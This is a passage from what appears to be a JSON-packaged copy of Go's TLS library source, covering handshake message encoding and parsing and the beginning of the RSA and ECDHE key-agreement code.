*cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tfor _, sigAlgo := range m.supportedSignatureAlgorithms {\n\t\t\t\t\t\t\tb.AddUint16(uint16(sigAlgo))\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif len(m.supportedSignatureAlgorithmsCert) > 0 {\n\t\t\t\tb.AddUint16(extensionSignatureAlgorithmsCert)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tfor _, sigAlgo := range m.supportedSignatureAlgorithmsCert {\n\t\t\t\t\t\t\tb.AddUint16(uint16(sigAlgo))\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif len(m.certificateAuthorities) > 0 {\n\t\t\t\tb.AddUint16(extensionCertificateAuthorities)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tfor _, ca := range m.certificateAuthorities {\n\t\t\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\t\t\tb.AddBytes(ca)\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t})\n\n\tm.raw = b.BytesOrPanic()\n\treturn m.raw\n}\n\nfunc (m *certificateRequestMsgTLS13) unmarshal(data []byte) bool {\n\t*m = certificateRequestMsgTLS13{raw: data}\n\ts := cryptobyte.String(data)\n\n\tvar context, extensions cryptobyte.String\n\tif !s.Skip(4) || // message type and uint24 length field\n\t\t!s.ReadUint8LengthPrefixed(&context) || !context.Empty() ||\n\t\t!s.ReadUint16LengthPrefixed(&extensions) ||\n\t\t!s.Empty() {\n\t\treturn false\n\t}\n\n\tfor !extensions.Empty() {\n\t\tvar extension uint16\n\t\tvar extData cryptobyte.String\n\t\tif !extensions.ReadUint16(&extension) ||\n\t\t\t!extensions.ReadUint16LengthPrefixed(&extData) {\n\t\t\treturn false\n\t\t}\n\n\t\tswitch extension {\n\t\tcase extensionStatusRequest:\n\t\t\tm.ocspStapling = true\n\t\tcase extensionSCT:\n\t\t\tm.scts = true\n\t\tcase extensionSignatureAlgorithms:\n\t\t\tvar sigAndAlgs cryptobyte.String\n\t\t\tif !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfor !sigAndAlgs.Empty() {\n\t\t\t\tvar sigAndAlg uint16\n\t\t\t\tif !sigAndAlgs.ReadUint16(&sigAndAlg) {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tm.supportedSignatureAlgorithms = append(\n\t\t\t\t\tm.supportedSignatureAlgorithms, SignatureScheme(sigAndAlg))\n\t\t\t}\n\t\tcase extensionSignatureAlgorithmsCert:\n\t\t\tvar sigAndAlgs cryptobyte.String\n\t\t\tif !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfor !sigAndAlgs.Empty() {\n\t\t\t\tvar sigAndAlg uint16\n\t\t\t\tif !sigAndAlgs.ReadUint16(&sigAndAlg) {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tm.supportedSignatureAlgorithmsCert = append(\n\t\t\t\t\tm.supportedSignatureAlgorithmsCert, SignatureScheme(sigAndAlg))\n\t\t\t}\n\t\tcase extensionCertificateAuthorities:\n\t\t\tvar auths cryptobyte.String\n\t\t\tif !extData.ReadUint16LengthPrefixed(&auths) || auths.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfor !auths.Empty() {\n\t\t\t\tvar ca []byte\n\t\t\t\tif !readUint16LengthPrefixed(&auths, &ca) || len(ca) == 0 {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tm.certificateAuthorities = append(m.certificateAuthorities, ca)\n\t\t\t}\n\t\tdefault:\n\t\t\t// Ignore unknown extensions.\n\t\t\tcontinue\n\t\t}\n\n\t\tif !extData.Empty() {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\ntype certificateMsg struct {\n\traw          []byte\n\tcertificates [][]byte\n}\n\nfunc (m *certificateMsg) marshal() (x []byte) {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\n\tvar i int\n\tfor _, slice := range m.certificates {\n\t\ti += len(slice)\n\t}\n\n\tlength := 3 + 3*len(m.certificates) + i\n\tx = make([]byte, 4+length)\n\tx[0] = typeCertificate\n\tx[1] = uint8(length >> 16)\n\tx[2] = uint8(length >> 8)\n\tx[3] = uint8(length)\n\n\tcertificateOctets := length - 3\n\tx[4] = uint8(certificateOctets >> 16)\n\tx[5] = uint8(certificateOctets >> 8)\n\tx[6] = uint8(certificateOctets)\n\n\ty := x[7:]\n\tfor _, slice := range m.certificates {\n\t\ty[0] = uint8(len(slice) >> 16)\n\t\ty[1] = uint8(len(slice) >> 8)\n\t\ty[2] = uint8(len(slice))\n\t\tcopy(y[3:], slice)\n\t\ty = y[3+len(slice):]\n\t}\n\n\tm.raw = x\n\treturn\n}\n\nfunc (m *certificateMsg) unmarshal(data []byte) bool {\n\tif len(data) < 7 {\n\t\treturn false\n\t}\n\n\tm.raw = data\n\tcertsLen := uint32(data[4])<<16 | uint32(data[5])<<8 | uint32(data[6])\n\tif uint32(len(data)) != certsLen+7 {\n\t\treturn false\n\t}\n\n\tnumCerts := 0\n\td := data[7:]\n\tfor certsLen > 0 {\n\t\tif len(d) < 4 {\n\t\t\treturn false\n\t\t}\n\t\tcertLen := uint32(d[0])<<16 | uint32(d[1])<<8 | uint32(d[2])\n\t\tif uint32(len(d)) < 3+certLen {\n\t\t\treturn false\n\t\t}\n\t\td = d[3+certLen:]\n\t\tcertsLen -= 3 + certLen\n\t\tnumCerts++\n\t}\n\n\tm.certificates = make([][]byte, numCerts)\n\td = data[7:]\n\tfor i := 0; i < numCerts; i++ {\n\t\tcertLen := uint32(d[0])<<16 | uint32(d[1])<<8 | uint32(d[2])\n\t\tm.certificates[i] = d[3 : 3+certLen]\n\t\td = d[3+certLen:]\n\t}\n\n\treturn true\n}\n\ntype certificateMsgTLS13 struct {\n\traw          []byte\n\tcertificate  Certificate\n\tocspStapling bool\n\tscts         bool\n}\n\nfunc (m *certificateMsgTLS13) marshal() []byte {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\n\tvar b cryptobyte.Builder\n\tb.AddUint8(typeCertificate)\n\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\tb.AddUint8(0) // certificate_request_context\n\n\t\tcertificate := m.certificate\n\t\tif !m.ocspStapling {\n\t\t\tcertificate.OCSPStaple = nil\n\t\t}\n\t\tif !m.scts {\n\t\t\tcertificate.SignedCertificateTimestamps = nil\n\t\t}\n\t\tmarshalCertificate(b, certificate)\n\t})\n\n\tm.raw = b.BytesOrPanic()\n\treturn m.raw\n}\n\nfunc marshalCertificate(b *cryptobyte.Builder, certificate Certificate) {\n\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\tfor i, cert := range certificate.Certificate {\n\t\t\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\tb.AddBytes(cert)\n\t\t\t})\n\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\tif i > 0 {\n\t\t\t\t\t// This library only supports OCSP and SCT for leaf certificates.\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif certificate.OCSPStaple != nil {\n\t\t\t\t\tb.AddUint16(extensionStatusRequest)\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tb.AddUint8(statusTypeOCSP)\n\t\t\t\t\t\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\t\tb.AddBytes(certificate.OCSPStaple)\n\t\t\t\t\t\t})\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t\tif certificate.SignedCertificateTimestamps != nil {\n\t\t\t\t\tb.AddUint16(extensionSCT)\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\t\tfor _, sct := range certificate.SignedCertificateTimestamps {\n\t\t\t\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\t\t\t\tb.AddBytes(sct)\n\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t})\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t})\n}\n\nfunc (m *certificateMsgTLS13) unmarshal(data []byte) bool {\n\t*m = certificateMsgTLS13{raw: data}\n\ts := cryptobyte.String(data)\n\n\tvar context cryptobyte.String\n\tif !s.Skip(4) || // message type and uint24 length field\n\t\t!s.ReadUint8LengthPrefixed(&context) || !context.Empty() ||\n\t\t!unmarshalCertificate(&s, &m.certificate) ||\n\t\t!s.Empty() {\n\t\treturn false\n\t}\n\n\tm.scts = m.certificate.SignedCertificateTimestamps != nil\n\tm.ocspStapling = m.certificate.OCSPStaple != nil\n\n\treturn true\n}\n\nfunc unmarshalCertificate(s *cryptobyte.String, certificate *Certificate) bool {\n\tvar certList cryptobyte.String\n\tif !s.ReadUint24LengthPrefixed(&certList) {\n\t\treturn false\n\t}\n\tfor !certList.Empty() {\n\t\tvar cert []byte\n\t\tvar extensions cryptobyte.String\n\t\tif !readUint24LengthPrefixed(&certList, &cert) ||\n\t\t\t!certList.ReadUint16LengthPrefixed(&extensions) {\n\t\t\treturn false\n\t\t}\n\t\tcertificate.Certificate = append(certificate.Certificate, cert)\n\t\tfor !extensions.Empty() {\n\t\t\tvar extension uint16\n\t\t\tvar extData cryptobyte.String\n\t\t\tif !extensions.ReadUint16(&extension) ||\n\t\t\t\t!extensions.ReadUint16LengthPrefixed(&extData) {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tif len(certificate.Certificate) > 1 {\n\t\t\t\t// This library only supports OCSP and SCT for leaf certificates.\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tswitch extension {\n\t\t\tcase extensionStatusRequest:\n\t\t\t\tvar statusType uint8\n\t\t\t\tif !extData.ReadUint8(&statusType) || statusType != statusTypeOCSP ||\n\t\t\t\t\t!readUint24LengthPrefixed(&extData, &certificate.OCSPStaple) ||\n\t\t\t\t\tlen(certificate.OCSPStaple) == 0 {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\tcase extensionSCT:\n\t\t\t\tvar sctList cryptobyte.String\n\t\t\t\tif !extData.ReadUint16LengthPrefixed(&sctList) || sctList.Empty() {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tfor !sctList.Empty() {\n\t\t\t\t\tvar sct []byte\n\t\t\t\t\tif !readUint16LengthPrefixed(&sctList, &sct) ||\n\t\t\t\t\t\tlen(sct) == 0 {\n\t\t\t\t\t\treturn false\n\t\t\t\t\t}\n\t\t\t\t\tcertificate.SignedCertificateTimestamps = append(\n\t\t\t\t\t\tcertificate.SignedCertificateTimestamps, sct)\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\t// Ignore unknown extensions.\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif !extData.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t}\n\treturn true\n}\n\ntype serverKeyExchangeMsg struct {\n\traw []byte\n\tkey []byte\n}\n\nfunc (m *serverKeyExchangeMsg) marshal() []byte {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\tlength := len(m.key)\n\tx := make([]byte, length+4)\n\tx[0] = typeServerKeyExchange\n\tx[1] = uint8(length >> 16)\n\tx[2] = uint8(length >> 8)\n\tx[3] = uint8(length)\n\tcopy(x[4:], m.key)\n\n\tm.raw = x\n\treturn x\n}\n\nfunc (m *serverKeyExchangeMsg) unmarshal(data []byte) bool {\n\tm.raw = data\n\tif len(data) < 4 {\n\t\treturn false\n\t}\n\tm.key = data[4:]\n\treturn true\n}\n\ntype certificateStatusMsg struct {\n\traw      []byte\n\tresponse []byte\n}\n\nfunc (m *certificateStatusMsg) marshal() []byte {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\n\tvar b cryptobyte.Builder\n\tb.AddUint8(typeCertificateStatus)\n\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\tb.AddUint8(statusTypeOCSP)\n\t\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tb.AddBytes(m.response)\n\t\t})\n\t})\n\n\tm.raw = b.BytesOrPanic()\n\treturn m.raw\n}\n\nfunc (m *certificateStatusMsg) unmarshal(data []byte) bool {\n\tm.raw = data\n\ts := cryptobyte.String(data)\n\n\tvar statusType uint8\n\tif !s.Skip(4) || // message type and uint24 length field\n\t\t!s.ReadUint8(&statusType) || statusType != statusTypeOCSP ||\n\t\t!readUint24LengthPrefixed(&s, &m.response) ||\n\t\tlen(m.response) == 0 || !s.Empty() {\n\t\treturn false\n\t}\n\treturn true\n}\n\ntype serverHelloDoneMsg struct{}\n\nfunc (m *serverHelloDoneMsg) marshal() []byte {\n\tx := make([]byte, 4)\n\tx[0] = typeServerHelloDone\n\treturn x\n}\n\nfunc (m *serverHelloDoneMsg) unmarshal(data []byte) bool {\n\treturn len(data) == 4\n}\n\ntype clientKeyExchangeMsg struct {\n\traw        []byte\n\tciphertext []byte\n}\n\nfunc (m *clientKeyExchangeMsg) marshal() []byte {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\tlength := len(m.ciphertext)\n\tx := make([]byte, length+4)\n\tx[0] = typeClientKeyExchange\n\tx[1] = uint8(length >> 16)\n\tx[2] = uint8(length >> 8)\n\tx[3] = uint8(length)\n\tcopy(x[4:], m.ciphertext)\n\n\tm.raw = x\n\treturn x\n}\n\nfunc (m *clientKeyExchangeMsg) unmarshal(data []byte) bool {\n\tm.raw = data\n\tif len(data) < 4 {\n\t\treturn false\n\t}\n\tl := int(data[1])<<16 | int(data[2])<<8 | int(data[3])\n\tif l != len(data)-4 {\n\t\treturn false\n\t}\n\tm.ciphertext = data[4:]\n\treturn true\n}\n\ntype finishedMsg struct {\n\traw        []byte\n\tverifyData []byte\n}\n\nfunc (m *finishedMsg) marshal() []byte {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\n\tvar b cryptobyte.Builder\n\tb.AddUint8(typeFinished)\n\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\tb.AddBytes(m.verifyData)\n\t})\n\n\tm.raw = b.BytesOrPanic()\n\treturn m.raw\n}\n\nfunc (m *finishedMsg) unmarshal(data []byte) bool {\n\tm.raw = data\n\ts := cryptobyte.String(data)\n\treturn s.Skip(1) &&\n\t\treadUint24LengthPrefixed(&s, &m.verifyData) &&\n\t\ts.Empty()\n}\n\ntype certificateRequestMsg struct {\n\traw []byte\n\t// hasSignatureAlgorithm indicates whether this message includes a list of\n\t// supported signature algorithms. This change was introduced with TLS 1.2.\n\thasSignatureAlgorithm bool\n\n\tcertificateTypes             []byte\n\tsupportedSignatureAlgorithms []SignatureScheme\n\tcertificateAuthorities       [][]byte\n}\n\nfunc (m *certificateRequestMsg) marshal() (x []byte) {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\n\t// See RFC 4346, Section 7.4.4.\n\tlength := 1 + len(m.certificateTypes) + 2\n\tcasLength := 0\n\tfor _, ca := range m.certificateAuthorities {\n\t\tcasLength += 2 + len(ca)\n\t}\n\tlength += casLength\n\n\tif m.hasSignatureAlgorithm {\n\t\tlength += 2 + 2*len(m.supportedSignatureAlgorithms)\n\t}\n\n\tx = make([]byte, 4+length)\n\tx[0] = typeCertificateRequest\n\tx[1] = uint8(length >> 16)\n\tx[2] = uint8(length >> 8)\n\tx[3] = uint8(length)\n\n\tx[4] = uint8(len(m.certificateTypes))\n\n\tcopy(x[5:], m.certificateTypes)\n\ty := x[5+len(m.certificateTypes):]\n\n\tif m.hasSignatureAlgorithm {\n\t\tn := len(m.supportedSignatureAlgorithms) * 2\n\t\ty[0] = uint8(n >> 8)\n\t\ty[1] = uint8(n)\n\t\ty = y[2:]\n\t\tfor _, sigAlgo := range m.supportedSignatureAlgorithms {\n\t\t\ty[0] = uint8(sigAlgo >> 8)\n\t\t\ty[1] = uint8(sigAlgo)\n\t\t\ty = y[2:]\n\t\t}\n\t}\n\n\ty[0] = uint8(casLength >> 8)\n\ty[1] = uint8(casLength)\n\ty = y[2:]\n\tfor _, ca := range m.certificateAuthorities {\n\t\ty[0] = uint8(len(ca) >> 8)\n\t\ty[1] = uint8(len(ca))\n\t\ty = y[2:]\n\t\tcopy(y, ca)\n\t\ty = y[len(ca):]\n\t}\n\n\tm.raw = x\n\treturn\n}\n\nfunc (m *certificateRequestMsg) unmarshal(data []byte) bool {\n\tm.raw = data\n\n\tif len(data) < 5 {\n\t\treturn false\n\t}\n\n\tlength := uint32(data[1])<<16 | uint32(data[2])<<8 | uint32(data[3])\n\tif uint32(len(data))-4 != length {\n\t\treturn false\n\t}\n\n\tnumCertTypes := int(data[4])\n\tdata = data[5:]\n\tif numCertTypes == 0 || len(data) <= numCertTypes {\n\t\treturn false\n\t}\n\n\tm.certificateTypes = make([]byte, numCertTypes)\n\tif copy(m.certificateTypes, data) != numCertTypes {\n\t\treturn false\n\t}\n\n\tdata = data[numCertTypes:]\n\n\tif m.hasSignatureAlgorithm {\n\t\tif len(data) < 2 {\n\t\t\treturn false\n\t\t}\n\t\tsigAndHashLen := uint16(data[0])<<8 | uint16(data[1])\n\t\tdata = data[2:]\n\t\tif sigAndHashLen&1 != 0 {\n\t\t\treturn false\n\t\t}\n\t\tif len(data) < int(sigAndHashLen) {\n\t\t\treturn false\n\t\t}\n\t\tnumSigAlgos := sigAndHashLen / 2\n\t\tm.supportedSignatureAlgorithms = make([]SignatureScheme, numSigAlgos)\n\t\tfor i := range m.supportedSignatureAlgorithms {\n\t\t\tm.supportedSignatureAlgorithms[i] = SignatureScheme(data[0])<<8 | SignatureScheme(data[1])\n\t\t\tdata = data[2:]\n\t\t}\n\t}\n\n\tif len(data) < 2 {\n\t\treturn false\n\t}\n\tcasLength := uint16(data[0])<<8 | uint16(data[1])\n\tdata = data[2:]\n\tif len(data) < int(casLength) {\n\t\treturn false\n\t}\n\tcas := make([]byte, casLength)\n\tcopy(cas, data)\n\tdata = data[casLength:]\n\n\tm.certificateAuthorities = nil\n\tfor len(cas) > 0 {\n\t\tif len(cas) < 2 {\n\t\t\treturn false\n\t\t}\n\t\tcaLen := uint16(cas[0])<<8 | uint16(cas[1])\n\t\tcas = cas[2:]\n\n\t\tif len(cas) < int(caLen) {\n\t\t\treturn false\n\t\t}\n\n\t\tm.certificateAuthorities = append(m.certificateAuthorities, cas[:caLen])\n\t\tcas = cas[caLen:]\n\t}\n\n\treturn len(data) == 0\n}\n\ntype certificateVerifyMsg struct {\n\traw                   []byte\n\thasSignatureAlgorithm bool // format change introduced in TLS 1.2\n\tsignatureAlgorithm    SignatureScheme\n\tsignature             []byte\n}\n\nfunc (m *certificateVerifyMsg) marshal() (x []byte) {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\n\tvar b cryptobyte.Builder\n\tb.AddUint8(typeCertificateVerify)\n\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\tif m.hasSignatureAlgorithm {\n\t\t\tb.AddUint16(uint16(m.signatureAlgorithm))\n\t\t}\n\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tb.AddBytes(m.signature)\n\t\t})\n\t})\n\n\tm.raw = b.BytesOrPanic()\n\treturn m.raw\n}\n\nfunc (m *certificateVerifyMsg) unmarshal(data []byte) bool {\n\tm.raw = data\n\ts := cryptobyte.String(data)\n\n\tif !s.Skip(4) { // message type and uint24 length field\n\t\treturn false\n\t}\n\tif m.hasSignatureAlgorithm {\n\t\tif !s.ReadUint16((*uint16)(&m.signatureAlgorithm)) {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn readUint16LengthPrefixed(&s, &m.signature) && s.Empty()\n}\n\ntype newSessionTicketMsg struct {\n\traw    []byte\n\tticket []byte\n}\n\nfunc (m *newSessionTicketMsg) marshal() (x []byte) {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\n\t// See RFC 5077, Section 3.3.\n\tticketLen := len(m.ticket)\n\tlength := 2 + 4 + ticketLen\n\tx = make([]byte, 4+length)\n\tx[0] = typeNewSessionTicket\n\tx[1] = uint8(length >> 16)\n\tx[2] = uint8(length >> 8)\n\tx[3] = uint8(length)\n\tx[8] = uint8(ticketLen >> 8)\n\tx[9] = uint8(ticketLen)\n\tcopy(x[10:], m.ticket)\n\n\tm.raw = x\n\n\treturn\n}\n\nfunc (m *newSessionTicketMsg) unmarshal(data []byte) bool {\n\tm.raw = data\n\n\tif len(data) < 10 {\n\t\treturn false\n\t}\n\n\tlength := uint32(data[1])<<16 | uint32(data[2])<<8 | uint32(data[3])\n\tif uint32(len(data))-4 != length {\n\t\treturn false\n\t}\n\n\tticketLen := int(data[8])<<8 + int(data[9])\n\tif len(data)-10 != ticketLen {\n\t\treturn false\n\t}\n\n\tm.ticket = data[10:]\n\n\treturn true\n}\n\ntype helloRequestMsg struct {\n}\n\nfunc (*helloRequestMsg) marshal() []byte {\n\treturn []byte{typeHelloRequest, 0, 0, 0}\n}\n\nfunc (*helloRequestMsg) unmarshal(data []byte) bool {\n\treturn len(data) == 4\n}\n"
  },
  {
    "path": "tls/key_agreement.go",
    "content": "// Copyright 2010 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage tls\n\nimport (\n\t\"crypto\"\n\t\"crypto/md5\"\n\t\"crypto/rsa\"\n\t\"crypto/sha1\"\n\t\"crypto/x509\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n)\n\nvar errClientKeyExchange = errors.New(\"tls: invalid ClientKeyExchange message\")\nvar errServerKeyExchange = errors.New(\"tls: invalid ServerKeyExchange message\")\n\n// rsaKeyAgreement implements the standard TLS key agreement where the client\n// encrypts the pre-master secret to the server's public key.\ntype rsaKeyAgreement struct{}\n\nfunc (ka rsaKeyAgreement) generateServerKeyExchange(config *Config, cert *Certificate, clientHello *clientHelloMsg, hello *serverHelloMsg) (*serverKeyExchangeMsg, error) {\n\treturn nil, nil\n}\n\nfunc (ka rsaKeyAgreement) processClientKeyExchange(config *Config, cert *Certificate, ckx *clientKeyExchangeMsg, version uint16) ([]byte, error) {\n\tif len(ckx.ciphertext) < 2 {\n\t\treturn nil, errClientKeyExchange\n\t}\n\tciphertextLen := int(ckx.ciphertext[0])<<8 | int(ckx.ciphertext[1])\n\tif ciphertextLen != len(ckx.ciphertext)-2 {\n\t\treturn nil, errClientKeyExchange\n\t}\n\tciphertext := ckx.ciphertext[2:]\n\n\tpriv, ok := cert.PrivateKey.(crypto.Decrypter)\n\tif !ok {\n\t\treturn nil, errors.New(\"tls: certificate private key does not implement crypto.Decrypter\")\n\t}\n\t// Perform constant time RSA PKCS#1 v1.5 decryption\n\tpreMasterSecret, err := priv.Decrypt(config.rand(), ciphertext, &rsa.PKCS1v15DecryptOptions{SessionKeyLen: 48})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// We don't check the version number in the premaster secret. For one,\n\t// by checking it, we would leak information about the validity of the\n\t// encrypted pre-master secret. Secondly, it provides only a small\n\t// benefit against a downgrade attack and some implementations send the\n\t// wrong version anyway. See the discussion at the end of section\n\t// 7.4.7.1 of RFC 4346.\n\treturn preMasterSecret, nil\n}\n\nfunc (ka rsaKeyAgreement) processServerKeyExchange(config *Config, clientHello *clientHelloMsg, serverHello *serverHelloMsg, cert *x509.Certificate, skx *serverKeyExchangeMsg) error {\n\treturn errors.New(\"tls: unexpected ServerKeyExchange\")\n}\n\nfunc (ka rsaKeyAgreement) generateClientKeyExchange(config *Config, clientHello *clientHelloMsg, cert *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error) {\n\tpreMasterSecret := make([]byte, 48)\n\tpreMasterSecret[0] = byte(clientHello.vers >> 8)\n\tpreMasterSecret[1] = byte(clientHello.vers)\n\t_, err := io.ReadFull(config.rand(), preMasterSecret[2:])\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tencrypted, err := rsa.EncryptPKCS1v15(config.rand(), cert.PublicKey.(*rsa.PublicKey), preMasterSecret)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tckx := new(clientKeyExchangeMsg)\n\tckx.ciphertext = make([]byte, len(encrypted)+2)\n\tckx.ciphertext[0] = byte(len(encrypted) >> 8)\n\tckx.ciphertext[1] = byte(len(encrypted))\n\tcopy(ckx.ciphertext[2:], encrypted)\n\treturn preMasterSecret, ckx, nil\n}\n\n// sha1Hash calculates a SHA1 hash over the given byte slices.\nfunc sha1Hash(slices [][]byte) []byte {\n\thsha1 := sha1.New()\n\tfor _, slice := range slices {\n\t\thsha1.Write(slice)\n\t}\n\treturn hsha1.Sum(nil)\n}\n\n// md5SHA1Hash implements TLS 1.0's hybrid hash function which consists of the\n// concatenation of an MD5 and SHA1 hash.\nfunc md5SHA1Hash(slices [][]byte) []byte {\n\tmd5sha1 := make([]byte, md5.Size+sha1.Size)\n\thmd5 := md5.New()\n\tfor _, slice := range slices {\n\t\thmd5.Write(slice)\n\t}\n\tcopy(md5sha1, hmd5.Sum(nil))\n\tcopy(md5sha1[md5.Size:], sha1Hash(slices))\n\treturn md5sha1\n}\n\n// hashForServerKeyExchange hashes the given slices and returns their digest\n// using the given hash function (for >= TLS 1.2) or using a default based on\n// the sigType (for earlier TLS versions). For Ed25519 signatures, which don't\n// do pre-hashing, it returns the concatenation of the slices.\nfunc hashForServerKeyExchange(sigType uint8, hashFunc crypto.Hash, version uint16, slices ...[]byte) []byte {\n\tif sigType == signatureEd25519 {\n\t\tvar signed []byte\n\t\tfor _, slice := range slices {\n\t\t\tsigned = append(signed, slice...)\n\t\t}\n\t\treturn signed\n\t}\n\tif version >= VersionTLS12 {\n\t\th := hashFunc.New()\n\t\tfor _, slice := range slices {\n\t\t\th.Write(slice)\n\t\t}\n\t\tdigest := h.Sum(nil)\n\t\treturn digest\n\t}\n\tif sigType == signatureECDSA {\n\t\treturn sha1Hash(slices)\n\t}\n\treturn md5SHA1Hash(slices)\n}\n\n// ecdheKeyAgreement implements a TLS key agreement where the server\n// generates an ephemeral EC public/private key pair and signs it. The\n// pre-master secret is then calculated using ECDH. The signature may\n// be ECDSA, Ed25519 or RSA.\ntype ecdheKeyAgreement struct {\n\tversion uint16\n\tisRSA   bool\n\tparams  ecdheParameters\n\n\t// ckx and preMasterSecret are generated in processServerKeyExchange\n\t// and returned in generateClientKeyExchange.\n\tckx             *clientKeyExchangeMsg\n\tpreMasterSecret []byte\n}\n\nfunc (ka *ecdheKeyAgreement) generateServerKeyExchange(config *Config, cert *Certificate, clientHello *clientHelloMsg, hello *serverHelloMsg) (*serverKeyExchangeMsg, error) {\n\tvar curveID CurveID\n\tfor _, c := range clientHello.supportedCurves {\n\t\tif config.supportsCurve(c) {\n\t\t\tcurveID = c\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif curveID == 0 {\n\t\treturn nil, errors.New(\"tls: no supported elliptic curves offered\")\n\t}\n\tif _, ok := curveForCurveID(curveID); curveID != X25519 && !ok {\n\t\treturn nil, errors.New(\"tls: CurvePreferences includes unsupported curve\")\n\t}\n\n\tparams, err := generateECDHEParameters(config.rand(), curveID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tka.params = params\n\n\t// See RFC 4492, Section 5.4.\n\tecdhePublic := params.PublicKey()\n\tserverECDHEParams := make([]byte, 1+2+1+len(ecdhePublic))\n\tserverECDHEParams[0] = 3 // named curve\n\tserverECDHEParams[1] = byte(curveID >> 8)\n\tserverECDHEParams[2] = byte(curveID)\n\tserverECDHEParams[3] = byte(len(ecdhePublic))\n\tcopy(serverECDHEParams[4:], ecdhePublic)\n\n\tpriv, ok := cert.PrivateKey.(crypto.Signer)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"tls: certificate private key of type %T does not implement crypto.Signer\", cert.PrivateKey)\n\t}\n\n\tvar signatureAlgorithm SignatureScheme\n\tvar sigType uint8\n\tvar sigHash crypto.Hash\n\tif ka.version >= VersionTLS12 {\n\t\tsignatureAlgorithm, err = selectSignatureScheme(ka.version, cert, clientHello.supportedSignatureAlgorithms)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tsigType, sigHash, err = typeAndHashFromSignatureScheme(signatureAlgorithm)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\tsigType, sigHash, err = legacyTypeAndHashFromPublicKey(priv.Public())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif (sigType == signaturePKCS1v15 || sigType == signatureRSAPSS) != ka.isRSA {\n\t\treturn nil, errors.New(\"tls: certificate cannot be used with the selected cipher suite\")\n\t}\n\n\tsigned := hashForServerKeyExchange(sigType, sigHash, ka.version, clientHello.random, hello.random, 